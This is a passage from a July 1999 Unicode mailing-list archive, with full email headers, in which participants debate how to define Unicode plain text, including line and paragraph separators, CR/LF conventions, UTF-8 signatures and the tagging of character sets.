leave that out and point out the places where his posting leaves out information - and _why_ that is more important than than what he's presenting). > Frank? Am I being mean to you? Is my criticism too harsh? If so, I > apologize. What did you think about my suggestions for the Unicode text > standard? I have a hunch that Frank is home for the weekend. > >except possibly your implied age ~55 -- for the rest, I don't see anything > >that matters much) > > Frank's ""limited experience"" is not youth but insularity. He cites > practices current on UNIX systems as though they applied universally. > > I have used UNIX, DOS, Windows, CP/M, Apple ][, IBM mainframes via > timesharing, and several other kinds of computers, dealing with character > set problems well outside Frank's range of experience. I forgot to mention I wouldn't be surprised if many people on this list have also used a variety of systems (otherwise they'd not be reading this list ;-). > that I instigated and managed a software development project for a highly > portable APL that came out in English, French, German, Finnish, Russian, > and Japanese, on a variety of computer architectures. I suppose so - but APL itself has little to do with the natural language aspect (perhaps you managed the message library - that would be relevant to your statement). -- Thomas E. Dickey dickey@clark.net http://www.clark.net/pub/dickey 4-Jul-99 16:49:34-GMT,1507;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA12217 for ; Sun, 4 Jul 1999 12:49:33 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id JAA272994 ; Sun, 4 Jul 1999 09:42:06 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA12324; Sun, 4 Jul 99 09:27:16 -0700 Message-Id: <9907041627.AA12324@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8364 (1999-07-04 16:27:00 GMT) From: Curtis Clark To: Unicode List Cc: unicode@unicode.org Date: Sun, 4 Jul 1999 09:26:58 -0700 (PDT) Subject: Dickey vs. Cherlin, was Re: Plain Text I haven't been on this list long (I've found it interesting and useful), and I don't claim any qualifications at all; but I wonder, are these sorts of exchanges common? I can understand that Unicode could generate some strident differences of opinion, but I sense that I'm missing something here. ---------------------------------------------------------------- Curtis Clark http://www.csupomona.edu/~jcclark/ Biological Sciences Department Voice: (909) 869-4062 California State Polytechnic University FAX: (909) 869-4078 Pomona CA 91768-4032 USA jcclark@csupomona.edu 4-Jul-99 16:51:03-GMT,1926;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id MAA12504 for ; Sun, 4 Jul 1999 12:51:03 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id JAA263944 ; Sun, 4 Jul 1999 09:45:02 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA12328; Sun, 4 Jul 99 09:27:17 -0700 Message-Id: <9907041627.AA12328@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8365 (1999-07-04 16:27:01 GMT) From: Curtis Clark To: Unicode List Date: Sun, 4 Jul 1999 09:26:59 -0700 (PDT) Subject: Re: dotless j At 07:40 AM 7/4/99 -0700, Jeroen Hellingman wrote: > The semantics of both i and j >should be that >they loose their dots if you put an accent on top of them, so there never >should be a problem. I'm puzzled by this: 1. Precomposed accented characters, I have read, are included in support of legacy character sets; the ideal is to use a combining accent with a non-accented character. 2. There are issues with combining accents needing to account for the height of the base letter, dots, as well, no doubt, as ascenders and descenders. These are semantic issues, which should be handled by the software. 3. Unicode, it is said, is a plain text standard. (2) and (3) seem to be at odds, unless programs that display plain text become a lot more sophisticated. ---------------------------------------------------------------- Curtis Clark http://www.csupomona.edu/~jcclark/ Biological Sciences Department Voice: (909) 869-4062 California State Polytechnic University FAX: (909) 869-4078 Pomona CA 91768-4032 USA jcclark@csupomona.edu 4-Jul-99 17:41:35-GMT,2050;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id NAA24093 for ; Sun, 4 Jul 1999 13:41:35 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id KAA196170 ; Sun, 4 Jul 1999 10:37:54 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA13836; Sun, 4 Jul 99 10:24:07 -0700 Message-Id: <9907041724.AA13836@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8370 (1999-07-04 17:23:59 GMT) From: John Cowan To: Unicode List Date: Sun, 4 Jul 1999 10:23:57 -0700 (PDT) Subject: Re: dotless j Content-Transfer-Encoding: 7bit Curtis Clark scripsit: > 1. Precomposed accented characters, I have read, are included in support of > legacy character sets; the ideal is to use a combining accent with a > non-accented character. Just so. > 2. There are issues with combining accents needing to account for the > height of the base letter, dots, as well, no doubt, as ascenders and > descenders. These are semantic issues, which should be handled by the > software. I don't know what you mean by ""semantic"". They are *rendering* issues, which must be handled by displaying-and-printing software. Much other software doesn't care a bit. For example, you can write Java code with comments and identifier names in Yoruba, using combining characters as needed. > 3. Unicode, it is said, is a plain text standard. So it is. > (2) and (3) seem to be at odds, unless programs that display plain text > become a lot more sophisticated. So they must, if they are to handle all of Unicode: BIDI, conjoining Hangul jamo, etc. etc. This is the escape from your dilemma. -- John Cowan cowan@ccil.org I am a member of a civilization. --David Brin 4-Jul-99 18:00:36-GMT,1450;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA27757 for ; Sun, 4 Jul 1999 14:00:36 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id KAA321522 ; Sun, 4 Jul 1999 10:54:52 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA14163; Sun, 4 Jul 99 10:40:44 -0700 Message-Id: <9907041740.AA14163@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 8371 (1999-07-04 17:40:36 GMT) From: Roozbeh Pournader To: Unicode List Cc: Unicode List Date: Sun, 4 Jul 1999 10:40:34 -0700 (PDT) Subject: Re: dotless j On Sun, 4 Jul 1999, Curtis Clark wrote: > 3. Unicode, it is said, is a plain text standard. > > (2) and (3) seem to be at odds, unless programs that display plain text > become a lot more sophisticated. Yes! Don't consider simple scripts like Latin only. If one likes to have plain text Arabic, what should he do? He needs sofisticated software to do that. Unicode is there for all scripts. When it sees that some processing is needed for scripts like Arabic or Devanagari, it allows some processing for scripts like Latin, to solve ambiguities etc. --Roozbeh 4-Jul-99 18:19:02-GMT,8795;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA01657 for ; Sun, 4 Jul 1999 14:19:01 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id LAA187394 ; Sun, 4 Jul 1999 11:11:02 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA14272; Sun, 4 Jul 99 10:51:50 -0700 Message-Id: <9907041751.AA14272@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8372 (1999-07-04 17:51:37 GMT) From: Frank da Cruz To: Unicode List Cc: unicode@unicode.org Date: Sun, 4 Jul 1999 10:51:36 -0700 (PDT) Subject: Re: Plain Text > I conclude that I disagree with Frank's attempts to make his own limited > experience normative... > I'm not sure why my experience has become an issue in this discussion but I can assure you I have a fair amount. My first programming experience was with plugboards and little wires on IBM EAM equipment. My current project, now in its 18th year, is precisely the interchange of text among divergent platforms, with full conversion of both record format and character set. I have written software to do this that has run, at one time or another, on more than 700 different hardware-and-OS platforms, many long dead, and at present on more than 150. This project, which I manage, also produces (and/or collects and distributes, and supports) similar software written by other people both here and abroad, and the entire collection spans practically every computer and operating system that has existed over the past 25-30 years with just a few exceptions. Part of the project is the definition of a protocol for meaningful text transfer. The protocol requires conversion of local formats and character sets to standard ones when sending, and the reverse procedure when receiving. Only international standard character sets are used on the wire, and are tagged using standard ISO-registered identifiers. This protocol has been in production for more than 10 years and is used in many parts parts of the world, especially Eastern and Western Europe, Isreal, Greece, the former USSR, Japan, and the Americas. One of the key questions in designing and implementing such a protocol is ""what is a text file?"" What distinguishes it from a non-text, or ""binary"" file? Constant day-to-day experience with a worldwide user base helps me to form what I hope is an adequate grasp of the issues. > >The point is, it doesn't matter. Each platform has its own format for > >internal use, but a standardized interface to the outside world. To > >further demonstrate this fact, if I then tell the computer on the far > >end to ""type"" or ""cat"" the file, it will, invariably, send: > > > > This is a line > > Your cultural ignorance/sheltered life-experience is showing. *You* may > live in an environment where these changes are made automatically, but a > lot of us don't. > Then please give counterexamples. > >So who cares what the file format is -- except of course when we want to > >transfer the file to another platform. > > And since I don't use a VT100 simulator anymore, I only encounter this > issue when transfering files to another platform, and as a result I care > all the time. > > >In that case, it is the > >responsibility of each file-transfer agent > > When reading floppy disks? > Of course. One of the biggest problems facing any of us who wishes to live in a world of computing diversity is the failure of file system designers to develop a rational method for tagging files, and indeed, for developing standard interchange formats. That's what we're trying to do here. Consider a minimal platform like DOS. You can set up your DOS system to load different code pages, such as CP850 for West European languages, CP866 for Cyrillic, and so on. Then you can use standard DOS utilities to create and edit text files in many languages (but only one per file). However, no record is kept of the encoding (character set) of each file. This presents rather significant problems even when we stay on the PC, before we ever think about interchanging files. So at minimum, a text file should be tagged according to character set. To my knowledge, this has never been done at the file-system level. What about file type and record format? Data interchange can be done in various ways. One way involves cooperating agents at each end -- e.g. FTP client and server. They can use their own application-specific protocol to control the process. For example, one can say ""I'm DOS"" and the other ""I'm UNIX"" and then apply the appropriate conversions. Of course as platforms multiply, we have an n x n problem. Therefore we settle upon standard formats to be used on the wire. Each transfer partner converts to and from these standard formats. Moving files by magnetic media present numerous problems, but only because we have forgotten how to do it. Back in the 1970s, ANSI developed standards for data interchange by magnetic media (e.g. ANSI X3.26-1978) that worked perfectly well until the personal computer revolution came along and standards went out of style. A DOS (or Macintosh or IRIX or any other) diskette is simply not intended for export to other platforms. This is the kind of situation we would like to avoid in the future. Hence this discussion. > You are still claiming that text files as they occur in your computer > subculture are for some reason normative for the rest of us. > Actually I am attempting to achieve an agreement a precise definition of Unicode plain text that allows the text to be already formatted, one that gives us the same capability that we have always had with ASCII (and Latin-x etc) of encoding and presenting information without *requiring* the use of any higher intelligence beyond what is needed to interpret Space, LS, PS, HT, and FF characters, plus whatever else is needed to accommodate bidi, etc. > >Prior to the advent of > >word processors, the idea of ""long line as paragraph"" never came up. > > Word processing began in the 1960s. I gather you had a later date in mind. > Did you mean specifically WYSIWYG word processors, invented at Xerox in the > late 1970s? > And, before it, NLS, used at government research institutes in the 1960s. But again, that's not plain text. It's ""input for a text formatter"". It does not stand on its own. > >No, a correct email client will leave it alone. Whether I want my email > >reformatted by your client should be my choice, since only I know what my > >intentions are in sending it. ^^^^^^^^^ > > However, it actually is the recipient's choice, and you can't stop us. > This sounds like quibbling but it's an important point. If I have the capability to compose and format a plain-text message exactly as I want you to see it, the mail system should allow me to mark it as ""preformatted plain text"" and then you would have to go out of your way to reformat it. Whereas if my mail client sends long lines with no formatting, it should mark it as ""plain text to be flowed"". Email issues, especially MIME, are a whole new topic, and a controversial one, best avoided here. But a clear statement from the Unicode Consortium on plain text that addresses the issue of formatting might motivate the ""email community"" to deal with these issues in a productive way. > A growing number of standards specify the use of Unicode text files, > without explicitly defining them. If we get anywhere with this, we will > have to run our proposal past these other groups, including the IETF, the > POSIX committee, programming language standards committees, etc. > Good. Let's try to keep making progress. We all have an intuitive grasp of the meaning of preformatted plain text. You'll find it in many places: . READ.ME files on your software disks. . Program source code. . Traditional (not ""legacy"") email and netnews. . Voluminous full-text information already online. and so on. We should find a way to carry this notion forward for Unicode in a way that: . Avoids the pitfalls of platform-dependent formatting conventions. . Allows straightforward and unambiguous conversion of 8-bit data to Unicode (and, to the extent possible, vice-versa). . Is independent of any higher-level protocol, markup language, product, or even standard. In other words, the Unicode definition should stand entirely on its own so that files encoded (or transmitted) in this format will be universally understood for years, decades, centuries to come, no matter what else might change, as long as Unicode itself lives on. - Frank 4-Jul-99 18:24:28-GMT,2544;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id OAA02663 for ; Sun, 4 Jul 1999 14:24:28 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id LAA266440 ; Sun, 4 Jul 1999 11:17:45 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA14818; Sun, 4 Jul 99 11:04:45 -0700 Message-Id: <9907041804.AA14818@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uml-Sequence: 8376 (1999-07-04 18:04:20 GMT) From: Markus Kuhn To: Unicode List Date: Sun, 4 Jul 1999 11:04:16 -0700 (PDT) Subject: Re: Frank and Plain Text Edward Cherlin wrote on 1999-07-04 09:16 UTC: > Frank's ""limited experience"" is not youth but insularity. He cites > practices current on UNIX systems as though they applied universally. > > I have used UNIX, DOS, Windows, CP/M, Apple ][, IBM mainframes via > timesharing, and several other kinds of computers, dealing with character > set problems well outside Frank's range of experience. Just for the record, let me quickly introduce your discussion partners: Frank da Cruz , whom you attested ""limited experience"" in the field of inter-platform plaintext exchange, is the author of KERMIT. KERMIT is a widely ported classic terminal emulator with build-in file transmission software. It is most likely available on *all* the platforms that you have ever used, and as the implementor of KERMIT's text-file transmission mechanism, Frank certainly had to worry about the plain text file conventions used on all these systems. He his probably one of the most qualified experts on matters related to the emulation of historic data-entry terminals and inter-platform plain-text format convention. (In case you have never used or heard about KERMIT, please draw the appropriate conclusions regarding the scope of your own experience.) Thomas Dickey is the maintainer of xterm, probably the currently most widely used VT100 terminal emulator on this planet, and the application that primarily has to process all plaintext on Unix workstations in the end. (If you have never heard of xterm, same conclusion.) Markus -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: 4-Jul-99 19:05:41-GMT,1529;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id PAA12778 for ; Sun, 4 Jul 1999 15:05:41 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id LAA190184 ; Sun, 4 Jul 1999 11:57:31 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA16486; Sun, 4 Jul 99 11:44:25 -0700 Message-Id: <9907041844.AA16486@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uml-Sequence: 8380 (1999-07-04 18:44:09 GMT) From: John Cowan To: Unicode List Date: Sun, 4 Jul 1999 11:44:08 -0700 (PDT) Subject: Re: Plain Text Content-Transfer-Encoding: 7bit Frank da Cruz scripsit: > One of the key questions in designing and implementing such a protocol is > ""what is a text file?"" Indeed. The GNU utilities go to great lengths to process all 256 bytes even in purely text utilities, but none of them (except specific conversion programs) handle multibyte text. > So at minimum, a text file should be tagged according to character set. To > my knowledge, this has never been done at the file-system level. Either that, or there needs to be only one character set! :-) -- John Cowan cowan@ccil.org I am a member of a civilization. --David Brin 4-Jul-99 20:08:35-GMT,2740;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA26524 for ; Sun, 4 Jul 1999 16:08:35 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id NAA255332 ; Sun, 4 Jul 1999 13:01:26 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA17563; Sun, 4 Jul 99 12:45:51 -0700 Message-Id: <9907041945.AA17563@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" X-Uml-Sequence: 8386 (1999-07-04 19:45:25 GMT) From: ""Paul Dempsey (Exchange)"" To: Unicode List Date: Sun, 4 Jul 1999 12:45:20 -0700 (PDT) Subject: RE: Plain Text > > Frank da Cruz: > > So at minimum, a text file should be tagged according to character set. To > > my knowledge, this has never been done at the file-system level. > John Cowan: > Either that, or there needs to be only one character set! :-) We'll have to deal with multiple untagged codepages/encodings/charsets for a long time yet. It's unlikely we'll get file systems to carry any meta-information beyond the filename in any portable way and certainly not retroactively. What we CAN do is use encoding signatures for all Unicode files. The various forms of Unicode are still relatively new and we still have a chance to establish the conventions. The Unicode standard lists signatures for _some_ Unicode encodings, in section 13.6 Specials, Encoding Form Signature: UCS-2(UTF-16) FE FF UCS-4 00 00 FE FF However, this is incomplete. The most important thing we're missing from the standard is: UTF-8 EF BB BF These are all the ZERO WIDTH NO BREAK SPACE (a.k.a BYTE ORDER MARK) in the corresponding representation. Without a signature for UTF-8, you can't reliably assume you're working with UTF-8 and not some other MBCS. A number of Microsoft programs (Notepad, Visual Studio, richedit) are using this signature for UTF-8. For the rest of what constitutes ""plain text"", the Unicode standard covers most of the issues, but not explicitly in one place. The grayer part of this discussion is about what constitutes ""preformatted plain text"". I don't think this can be standardized to practical effect. That is, you could write a standard, but would anyone use it? This quickly gets into the domain of presentation and document structure, which is beyond the scope of the Unicode standard proper. It is still worthwhile to capture the common conventions and make recommendations. --- Paul Chase Dempsey Microsoft Visual Studio Text Editor Development 4-Jul-99 20:46:36-GMT,2397;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA05825 for ; Sun, 4 Jul 1999 16:46:36 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id NAA12582 ; Sun, 4 Jul 1999 13:41:38 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA19319; Sun, 4 Jul 99 13:33:13 -0700 Message-Id: <9907042033.AA19319@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8391 (1999-07-04 20:33:04 GMT) From: Frank da Cruz To: Unicode List Cc: unicode@unicode.org Date: Sun, 4 Jul 1999 13:33:03 -0700 (PDT) Subject: RE: Plain Text > We'll have to deal with multiple untagged codepages/encodings/charsets > for a long time yet. It's unlikely we'll get file systems to carry any > meta-information beyond the filename in any portable way and certainly > not retroactively. > And I most emphatically recommend against using filenames for this purpose for at least the following reasons: . Different platforms have different filename formats and restrictions as to what can be in a filename, how long it can be, etc. . There is no central registry for filename associations. Horrible confusion arises when different software vendors choose the same association for two different products or, worse, when files are transferred across platforms that have different associations. > For the rest of what constitutes ""plain text"", the Unicode standard > covers most of the issues, but not explicitly in one place. The grayer > part of this discussion is about what constitutes ""preformatted plain > text"". I don't think this can be standardized to practical effect. That > is, you could write a standard, but would anyone use it? > Those who needed a guaranteed way to record preformatted plain text in documents that can persist over long periods of time and across all applications and platforms would use it. Even now, there exists such a standard, albeit unwritten, for 8-bit text. For example, almost every word processor and web browser has a ""Save as"" option for ""plain text with line breaks"" which, in the general case, is the only reliable interchange format. What will be the Unicode equivalent? - Frank 4-Jul-99 20:58:13-GMT,2175;000000000001 Return-Path: Received: from dfssl.exchange.microsoft.com (dfssl.exchange.microsoft.com [131.107.88.59]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id QAA07800 for ; Sun, 4 Jul 1999 16:58:13 -0400 (EDT) Received: by dfssl with Internet Mail Service (5.5.2648.0) id <3DSG1TJV>; Sun, 4 Jul 1999 13:57:07 -0700 Message-ID: <01D6C7224936D211BA450000F805D5380809563E@TOTO> From: ""Paul Dempsey (Exchange)"" To: ""'Frank da Cruz'"" , ""Paul Dempsey (Exchange)"" Cc: unicode@unicode.org Subject: RE: Plain Text Date: Sun, 4 Jul 1999 13:56:57 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2648.0) Content-Type: text/plain; charset=""iso-8859-1"" > > Paul Chase Dempsey: > > We'll have to deal with multiple untagged codepages/encodings/charsets > > for a long time yet. It's unlikely we'll get file systems to carry any > > meta-information beyond the filename in any portable way and certainly > > not retroactively. > > Frank da Cruz > I most emphatically recommend against using filenames for this purpose .. I emphatically agree. I meant to say that the name is the only information you can expect a file system to maintain apart the data in the file. I did not mean to imply that the name should be used to encode any other information. If I did, I would have proposed a notation. Without a reliable means to capture the encoding external to the bits in the file itself, I suggest the standardization of Unicode file signatures. These are already in common use except for UTF-8, and it's useful to extend the practice to UTF-8. ... > Frank da Cruz > Even now, there exists such a standard, albeit unwritten, for 8-bit text. > For example, almost every word processor and web browser has a ""Save as"" > option for ""plain text with line breaks"" which, in the general case, is the > only reliable interchange format. What will be the Unicode equivalent? Exactly the same, except Unicode data intead of 8-bit MBCS data. So let's write down the unwritten! Regards, --- Paul Chase Dempsey 4-Jul-99 22:58:59-GMT,2175;000000000011 Return-Path: Received: from light.dkuug.dk (55.ppp1-10.image.dk [212.54.73.247]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id SAA04769 for ; Sun, 4 Jul 1999 18:58:57 -0400 (EDT) Received: (from keld@localhost) by light.dkuug.dk (8.9.3/8.9.3) id AAA03372; Mon, 5 Jul 1999 00:58:56 +0200 Date: Mon, 5 Jul 1999 00:58:56 +0200 From: keld@dkuug.dk To: Frank da Cruz Cc: Unicode List Subject: Re: Plain text: Amendment 1 Message-ID: <19990705005856.B3289@light.dkuug.dk> References: <9907021618.AA21230@unicode.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4us In-Reply-To: <9907021618.AA21230@unicode.org>; from Frank da Cruz on Fri, Jul 02, 1999 at 09:17:48AM -0700 On Fri, Jul 02, 1999 at 09:17:48AM -0700, Frank da Cruz wrote: > 90 seconds later... > > 3. Line breaks are indicated by Line Separator, U+2028. Preformatted > text must break lines at column 79 or less to avoid unwanted > reformatting. Column numbers are 1-based, relative to the left or > right margin, according to the previaling directionality, with > single-width characters as the counting unit. A line break is > required at the end of the final line if it is to be considered a > line. (This is to allow append operations to work in the expected > fashion.) > > 4. Paragraph breaks are indicated by two successive Line Separators > or by Paragraph Separator, U+2029. > > Change (4) to: > > 4. Paragraph breaks are indicated by Paragraph Separator, U+2029. > > Add to (3): > > A blank line is indicated by two successive Line Separators. > Two blank lines are indicated by three of them, etc. > > This is to allow paragraphs like this one, which contain embedded > ""displays"" set off by blank lines that are NOT paragraph separators. could one not use C0 or C1 characters for these, so that the conventions could equally apply to say 8859 character sets? 3) could be something like one out of 3: 1. CR 2. LF 3. CR LF 4) could we use something like one of the C0 characers for that? Keld 4-Jul-99 23:42:12-GMT,3430;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id TAA15758 for ; Sun, 4 Jul 1999 19:42:11 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id QAA270558 ; Sun, 4 Jul 1999 16:32:52 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA20741; Sun, 4 Jul 99 16:13:35 -0700 Message-Id: <9907042313.AA20741@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 8397 (1999-07-04 23:13:11 GMT) From: Kermit Software Support To: Unicode List Cc: unicode@unicode.org Date: Sun, 4 Jul 1999 16:13:04 -0700 (PDT) Subject: Re: Plain text: Amendment 1 Keld wrote: > > Frank Wrote: > > > > 4. Paragraph breaks are indicated by two successive Line Separators > > or by Paragraph Separator, U+2029. > > > > Change (4) to: > > > > 4. Paragraph breaks are indicated by Paragraph Separator, U+2029. > > > > Add to (3): > > > > A blank line is indicated by two successive Line Separators. > > Two blank lines are indicated by three of them, etc. > > > > This is to allow paragraphs like this one, which contain embedded > > ""displays"" set off by blank lines that are NOT paragraph separators. > > could one not use C0 or C1 characters for these, so that the conventions > could equally apply to say 8859 character sets? > They could be, but I think we want to standardize on true Unicode characters whenever we can, since we have the power to define their semantics. The C0 and C1 sets are included for compatibility with existing sets over which the Unicode Consortium has no control, and over which we have been haggling the past few days (""the Mac does this, the PC does that, UNIX does something else""...) Anyway, we can't go back and change existing Latin-Alphabet or PC Code Page files to use consistent record formats -- that's an operating system and programming language issue, not to mention a conversion task that not even Hercules (or Xena) could handle. > 3) could be something like one out of 3: > > 1. CR > 2. LF > 3. CR LF > This is exactly why we should use LS rather than any of the above in Unicode text. Then converting existing 8-bit text to Unicode will have the happy by-product of erasing these differences. As noted previously, I would not object to adding two more ""control characters"" to Unicode to remove our dependence on C0 and C1 completely: 1. UHT ""Unicode Horizontal Tab"", which is just like C0 HT except that the tabstops are well-defined (should the tabbing concept be carried forward into Unicode Plain Text, rather than using only spaces). How to define them is, of course, another question. 2. UFF ""Unicode Form Feed"", like C0 Formfeed, except not in C0. I can't think of any applications for C0 Form Feed other than page feed or page eject, or the analogous action on video terminals, namely clear screen. But I'm sure that C0 FF has been misused in ways I never heard of and therefore a more clearly defined Unicode version might be warranted. However, I'm perfectly happy to stick with C0 HT and FF as long as they are given precise definitions for Unicode Plain Text, and nobody says ""legacy"" when referring to them :-) Whatever is chosen, let's keep it simple. - Frank 5-Jul-99 3:32:35-GMT,2165;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA18456 for ; Sun, 4 Jul 1999 23:32:34 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id UAA268622 ; Sun, 4 Jul 1999 20:27:50 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA22629; Sun, 4 Jul 99 20:11:42 -0700 Message-Id: <9907050311.AA22629@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8402 (1999-07-05 03:11:31 GMT) From: Jonathan Rosenne To: Unicode List Date: Sun, 4 Jul 1999 20:11:30 -0700 (PDT) Subject: Re: Plain Text I agree with John. The interchange standard should be UTF-8 or UTF-16. The sending and receiving systems should handle conversions. If the receiving system does not tag files, and uses just one encoding, it should convert the file as best it can. This way, the receiving system does not need to recognize a large number of character sets, only those it wishes to support. Since the meaning of CR, LF, CRLF, FF cannot be agreed, I agree additional Unicode characters look like a good solution. And again, the sending and receiving systems should handle conversions. I don't think tabs are needed. Spaces are sufficient. Jony At 11:44 04/07/99 -0700, John Cowan wrote: >Frank da Cruz scripsit: > >> One of the key questions in designing and implementing such a protocol is >> ""what is a text file?"" > >Indeed. The GNU utilities go to great lengths to process all 256 bytes >even in purely text utilities, but none of them (except specific conversion >programs) handle multibyte text. > >> So at minimum, a text file should be tagged according to character set. To >> my knowledge, this has never been done at the file-system level. > >Either that, or there needs to be only one character set! >:-) > >-- >John Cowan cowan@ccil.org > I am a member of a civilization. --David Brin > 5-Jul-99 3:44:29-GMT,2096;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id XAA19615 for ; Sun, 4 Jul 1999 23:44:29 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com (8.9.1a/8.9.1) with SMTP id UAA188358 ; Sun, 4 Jul 1999 20:38:11 -0700 Received: by unicode.org (NX5.67g/NX3.0S) id AA22757; Sun, 4 Jul 99 20:26:13 -0700 Message-Id: <9907050326.AA22757@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" X-Uml-Sequence: 8403 (1999-07-05 03:26:05 GMT) From: Edward Cherlin To: Unicode List Cc: unicode@unicode.org Date: Sun, 4 Jul 1999 20:26:03 -0700 (PDT) Subject: Re: Dickey vs. Cherlin, was Re: Plain Text At 09:26 -0700 7/4/1999, Curtis Clark wrote: >I haven't been on this list long (I've found it interesting and useful), >and I don't claim any qualifications at all; but I wonder, are these sorts >of exchanges common? I can understand that Unicode could generate some >strident differences of opinion, but I sense that I'm missing something >here. > > >---------------------------------------------------------------- >Curtis Clark http://www.csupomona.edu/~jcclark/ >Biological Sciences Department Voice: (909) 869-4062 >California State Polytechnic University FAX: (909) 869-4078 >Pomona CA 91768-4032 USA jcclark@csupomona.edu I have to say it surprises me. I wasn't trying to flame Frank, and we haven't had anyone take exception to the tone of the discussion in the several years I've been here. We do tell each other quite plainly when an opinion seems ill-founded, as in Michael's comments on my notion of encoding IPA extensions using XML. -- Edward Cherlin President Coalition Against Unsolicited Commercial E-mail Help outlaw Spam. Talk to us at 5-Jul-99 5:59:35-GMT,2826;000000000001 Return-Path: Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id BAA01699 for ; Mon, 5 Jul 1999 01:59:34 -0400 (EDT) Received: from unicode.org (unicode2.apple.com [17.254.3.212]) by public.lists.apple.com 